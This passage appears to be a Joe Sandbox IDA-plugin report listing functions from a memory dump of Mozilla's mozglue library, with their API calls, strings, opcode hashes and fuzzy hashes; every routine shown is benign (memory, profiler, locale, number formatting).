Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 82b52c9950e8b00268f52e43ebc1fca5abfa2a2c2ed291c31e56b6cce89361fc
Instruction ID: f8fcefda8028ca5365f535d4d4c7275449c6d16ec69aea3a88e6b11d8aaeb7d5
Opcode Fuzzy Hash: 82b52c9950e8b00268f52e43ebc1fca5abfa2a2c2ed291c31e56b6cce89361fc
Instruction Fuzzy Hash: 1E51E471E053048BDB01DF68D8446EEB7B4AF69318F84842DE85577780E736E998C7E2

Function 6C9CA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9CA565

Part of subcall function 6C9CA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9CA4BE
Part of subcall function 6C9CA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9CA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9CA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C9CA6B6

Strings

z, xrefs: 6C9CA6AE
0, xrefs: 6C9CA5FB

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 63754fb347472aa17635b7d9c80de5ab71e51f668a522b9ecf7f57ce7d98b1fb
Instruction ID: 39c2075a9108b021f6ccd9e90dc490614a935261fe4c86eba3e5406684d4ba8f
Opcode Fuzzy Hash: 63754fb347472aa17635b7d9c80de5ab71e51f668a522b9ecf7f57ce7d98b1fb
Instruction Fuzzy Hash: E1411571A097459FC341DF28C480A9EBBE5BF99354F408A2EF49987650EB30E649CB83

Function 6C9578C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6C9D008B), ref: 6C957B89
free.MOZGLUE(?,6C9D008B), ref: 6C957BAC

Part of subcall function 6C9578C0: free.MOZGLUE(?,6C9D008B), ref: 6C957BCF

free.MOZGLUE(?,6C9D008B), ref: 6C957BF2

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: c97dce9f88387437935dbfea9f53d543657e2f8a2f1422a251793a417184a63e
Instruction ID: 5c69b13714031e60bac5e4748cd1f4d6f840b54876e96ee0871369d76e72af8e
Opcode Fuzzy Hash: c97dce9f88387437935dbfea9f53d543657e2f8a2f1422a251793a417184a63e
Instruction Fuzzy Hash: BFC1D571E111288BEB24CB28CC90BADB772AF51314F9583A9D41AABBC0C731DF958F51

Function 6C999420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
__Init_thread_footer.LIBCMT ref: 6C99949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C99947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C99946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C999459

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 6b31bef862b1b3e34069b05751cd7b6a49fd42028fce8d7da1d07288b4c00fa5
Instruction ID: 0060e0053e48fd227103280c745b42c4851acb221d50019b609d9371d7c825ba
Opcode Fuzzy Hash: 6b31bef862b1b3e34069b05751cd7b6a49fd42028fce8d7da1d07288b4c00fa5
Instruction Fuzzy Hash: 24014C30A049008BDF009B5CD806A4933B99B4673EF1A8537DC0EA7B51D731F5E48957

Function 6C9A0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9A0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9A0F88
GetCurrentThreadId.KERNEL32 ref: 6C9A0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C9A1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C9A10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C9A114B

Part of subcall function 6C998AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C9B1563), ref: 6C998BD5

free.MOZGLUE(?), ref: 6C9A1174
free.MOZGLUE(?), ref: 6C9A1186

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 462acd296da7f4db0e065d7a0398a44a1d8b4bfcb795dbb4eb983d3cab5ba282
Instruction ID: 648c00c2e434485eead290350164773a41767400858ae7ae70d9d001ba757811
Opcode Fuzzy Hash: 462acd296da7f4db0e065d7a0398a44a1d8b4bfcb795dbb4eb983d3cab5ba282
Instruction Fuzzy Hash: EB61C0756087409BDB10CF65C88079AB7F5BFE6308F14891DE88957711EB31E59ACB82

Function 6C95B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B6AC

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C95B61E), ref: 6C95B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B79A

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: b50c49a22703ef48f9547e91819f0578a03f93acfd9323d28725a1d177805fb5
Instruction ID: b516a2354dfa021fb43a24e7c9b1a939dac2c0a3959cf5535051a4fa64861aff
Opcode Fuzzy Hash: b50c49a22703ef48f9547e91819f0578a03f93acfd9323d28725a1d177805fb5
Instruction Fuzzy Hash: A441B4B2D001159FCB04DF68DC905AEBBB9BF54324F650629E825E7B80E731E9148BE2

Function 6C95EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C9D5104), ref: 6C95EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C95EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C95EFEC
free.MOZGLUE(?), ref: 6C95F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C95F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C95F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C95F065
moz_xmalloc.MOZGLUE ref: 6C95F072

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 31615140a69075855072b725a9caeefa3ca0091c5be611c9ca1adb42af21a160
Instruction ID: 146f2bb342db8a7aa6bd0efe71a3012a5e293157081bace1c5bacf8673975fb6
Opcode Fuzzy Hash: 31615140a69075855072b725a9caeefa3ca0091c5be611c9ca1adb42af21a160
Instruction Fuzzy Hash: 4C41D8B1A001059FCB08CF78D8809BE7769AF94328B240228E825D7794EB31E925C7E1

Function 6C9CB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C9CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9CB5F4
__Init_thread_footer.LIBCMT ref: 6C9CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C9CB61F
std::_Facet_Register.LIBCPMT ref: 6C9CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9CB655

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: bab9a921b2db941f649d19ba83cea1f2c426f22f3eb5a88241d26960ebdfa2d5
Instruction ID: 5a51aad46e7618017a0a5dad08e710467d91c62202b3c6104c23169ecf2d6adf
Opcode Fuzzy Hash: bab9a921b2db941f649d19ba83cea1f2c426f22f3eb5a88241d26960ebdfa2d5
Instruction Fuzzy Hash: CE319171B04604CBCB00DFA9C8599AEB7F5FF9A325B250519D902A7780DB31F94ACB92

Function 6C969830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C9B7ABE), ref: 6C96985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C9B7ABE), ref: 6C9698A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C969909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C969918
free.MOZGLUE(?), ref: 6C969975

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 4137d03381a025ad36ab9a787ded1573bf3e4c4ad511091d4a4daa24cf822f72
Instruction ID: 315f7fbe94da587da728d85a16304f4067f99594be10b55fb17a2c376845603a
Opcode Fuzzy Hash: 4137d03381a025ad36ab9a787ded1573bf3e4c4ad511091d4a4daa24cf822f72
Instruction Fuzzy Hash: C471AA746047068FD724CF29C480966BBF5FF4A3287254AADE85A8BF90D731F841CB91

Function 6C96B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE,?,?,6C99DC2C), ref: 6C96B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE,?,?,6C99DC2C), ref: 6C96B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE), ref: 6C96B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE,?,?,6C99DC2C), ref: 6C96B896

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 041c6b22a8d40372991466ac8ae860c2a7069c3b8c3ee84659335f43ccf86f9c
Instruction ID: 246f456b76d7412a1ea2c0a98076613406390562ee2cffc32c3731d00e4ffd17
Opcode Fuzzy Hash: 041c6b22a8d40372991466ac8ae860c2a7069c3b8c3ee84659335f43ccf86f9c
Instruction Fuzzy Hash: 3E519C757046008FDB24CF5AC484A2AB7F5FF89318B69859DE98A97B81D731EC01DB80

Function 6C9A1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9A1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C9A1BE3,?,?,6C9A1D96,00000000), ref: 6C9A1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C9A1BE3,?,?,6C9A1D96,00000000), ref: 6C9A1D4C
GetCurrentThreadId.KERNEL32 ref: 6C9A1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9A1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9A1DDA

Part of subcall function 6C9A1EF0: GetCurrentThreadId.KERNEL32 ref: 6C9A1F03
Part of subcall function 6C9A1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C9A1DF2,00000000,00000000), ref: 6C9A1F0C
Part of subcall function 6C9A1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C9A1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C9A1DF4

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 434161ff008567d77c09c505c1b100bb3110490fdb6e46222be36b3a6b6c0cd2
Instruction ID: 069d8256c4beba576eed91c856fefd64cfa7b12fa5074811dcdac2462626f73d
Opcode Fuzzy Hash: 434161ff008567d77c09c505c1b100bb3110490fdb6e46222be36b3a6b6c0cd2
Instruction Fuzzy Hash: B54145B5204B01DFCB10DF69C488A56BBF9FB99714F20442EE95A87B41CB71F854CB91

Function 6C9638A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9DE220,?,?,?,?,6C963899,?), ref: 6C9638B2
ReleaseSRWLockExclusive.KERNEL32(6C9DE220,?,?,?,6C963899,?), ref: 6C9638C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6C963899,?), ref: 6C9638F1
RtlFreeHeap.NTDLL ref: 6C963920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C963899,?), ref: 6C96392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C963899,?), ref: 6C963943
RtlFreeHeap.NTDLL ref: 6C96396E

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 24adca4353828bea103a318e3c2a3e7c98cfdf66cd00006cec9ba144382acbcd
Instruction ID: f9de067691d91b87a0a44fd442d7e2c6e8e41b5543c4b44dbf52ae36c0791fc8
Opcode Fuzzy Hash: 24adca4353828bea103a318e3c2a3e7c98cfdf66cd00006cec9ba144382acbcd
Instruction Fuzzy Hash: C721BF72600A10DFE7209F26C880B96BBA9FF55328F258469D95A97F90C730E985CB91

Function 6C9984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9985AC

Part of subcall function 6C997670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99767F
Part of subcall function 6C997670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C997693
Part of subcall function 6C997670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9985B2

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: cac8eff9d937dac9b919cd4761e3ea95aef2999215e0182770f09a00ee56c3fe
Instruction ID: b7c9933464b9c951249474b6a6b36f53743d4bbb47717c3bf412c8ba39d925c4
Opcode Fuzzy Hash: cac8eff9d937dac9b919cd4761e3ea95aef2999215e0182770f09a00ee56c3fe
Instruction Fuzzy Hash: 48218E742006019FDB18DB28C888A6AB7B9AF9430DF28492DE55BD3B41DB31F958CB56

Function 6C961640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C961699
VerSetConditionMask.NTDLL ref: 6C9616CB
VerSetConditionMask.NTDLL ref: 6C9616D7
VerSetConditionMask.NTDLL ref: 6C9616DE
VerSetConditionMask.NTDLL ref: 6C9616E5
VerSetConditionMask.NTDLL ref: 6C9616EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9616F9

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 8f8a2cd46451d108828f2a413a0759199c5cf10e5333fb35fd7ac93a3b1621c1
Instruction ID: bba0b897be92b6e228a67421185f6b1bd8524806e54ce4ec3bb1d896e3242523
Opcode Fuzzy Hash: 8f8a2cd46451d108828f2a413a0759199c5cf10e5333fb35fd7ac93a3b1621c1
Instruction Fuzzy Hash: 9821D5B07442086BFB106A65CC45FBBB37CDF96704F044528F645AB6C0C674EE54C6A1

Function 6C99F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
